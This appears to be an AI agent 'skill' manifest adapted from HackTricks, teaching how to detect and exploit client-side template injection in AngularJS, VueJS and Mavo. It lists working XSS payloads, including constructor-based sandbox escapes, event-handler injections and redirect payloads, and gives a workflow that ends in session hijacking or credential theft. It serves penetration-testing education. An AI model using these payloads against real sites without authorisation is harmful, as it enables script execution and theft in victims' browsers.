Hacktricks-skills client-side-template-injection-csti

How to detect and exploit Client Side Template Injection (CSTI) vulnerabilities in web applications. Use this skill whenever the user mentions template injection, AngularJS, VueJS, Mavo, or wants to test for client-side code execution vulnerabilities. Also trigger when users ask about XSS via template engines, JavaScript injection through templates, or when they find double curly braces in web forms that might be processed by a template engine.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/client-side-template-injection-csti/SKILL.MD
source content

Client Side Template Injection (CSTI)

What is CSTI?

Client Side Template Injection is a vulnerability where user input is processed by a JavaScript template engine on the client side, allowing execution of arbitrary JavaScript code in the victim's browser. It's the client-side equivalent of Server Side Template Injection (SSTI).

Key difference from SSTI:

  • SSTI executes code on the remote server
  • CSTI executes JavaScript in the victim's browser (similar to XSS)

When to Use This Skill

Use this skill when:

  • You find a web application that processes user input with template syntax (double curly braces
    {{ }}
    )
  • You're testing for XSS vulnerabilities in applications using AngularJS, VueJS, or Mavo
  • You see template engine indicators in HTML responses
  • You want to enumerate and exploit client-side template injection vulnerabilities

Detection Methodology

Step 1: Initial Testing

Start with a simple arithmetic payload to check if the application is vulnerable:

{{ 7-7 }}

Expected results:

  • Vulnerable: You'll see
    0
    (the expression was evaluated)
  • Not vulnerable: You'll see
    {{ 7-7 }}
    (the expression was not processed)

Step 2: Framework Identification

Identify which template engine/framework is being used:

FrameworkIndicators
AngularJS
ng-app
,
ng-bind
,
ng-model
attributes
VueJS
v-html
,
v-bind
,
{{ }}
in Vue components
Mavo
mv-expressions
,
data-mv-
attributes

Step 3: Payload Testing

Use framework-specific payloads (see below) to confirm vulnerability and achieve code execution.

Framework-Specific Payloads

AngularJS

AngularJS uses directives like

ng-app
to process HTML content. From version 1.6+, the sandbox was removed, making exploitation easier.

Basic payloads:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}

Event-based payloads:

<input ng-focus=$event.view.alert('XSS')>

Advanced (Google Research):

<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Testing resources:

VueJS

VueJS v3

{{_openBlock.constructor('alert(1)')()}}

VueJS v2

{{constructor.constructor('alert(1)')()}}

Advanced VueJS (Google Research)

"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Testing resources:

Mavo

Mavo uses a different syntax with square brackets:

Basic payloads:

[7*7]
[(1,alert)(1)]
[self.alert(1)]

Advanced payloads:

<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>

Complex payloads:

[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
[self.alert(1)mod1]
javascript:alert(1)%252f%252f..%252fcss-images

Reference: PortSwigger Mavo Research

Brute-Force Detection

If you're unsure which framework is being used, you can brute-force with a detection list:

Wordlist reference:

Approach:

  1. Send multiple payloads from the wordlist
  2. Monitor for responses that indicate evaluation (e.g.,
    0
    instead of
    {{ 7-7 }}
    )
  3. Once a framework is identified, use targeted payloads

Exploitation Workflow

  1. Identify the injection point - Find where user input is reflected in the page
  2. Test with
    {{ 7-7 }}
    - Confirm template processing
  3. Identify the framework - Look for framework-specific attributes or test multiple payloads
  4. Execute JavaScript - Use framework-specific payloads to run arbitrary code
  5. Achieve your goal - XSS, session hijacking, credential theft, etc.

Safety Considerations

  • Only test on systems you have permission to test
  • CSTI can lead to full XSS - treat it as a critical vulnerability
  • Document findings responsibly
  • Consider the impact on end users (client-side code execution affects their browsers)

References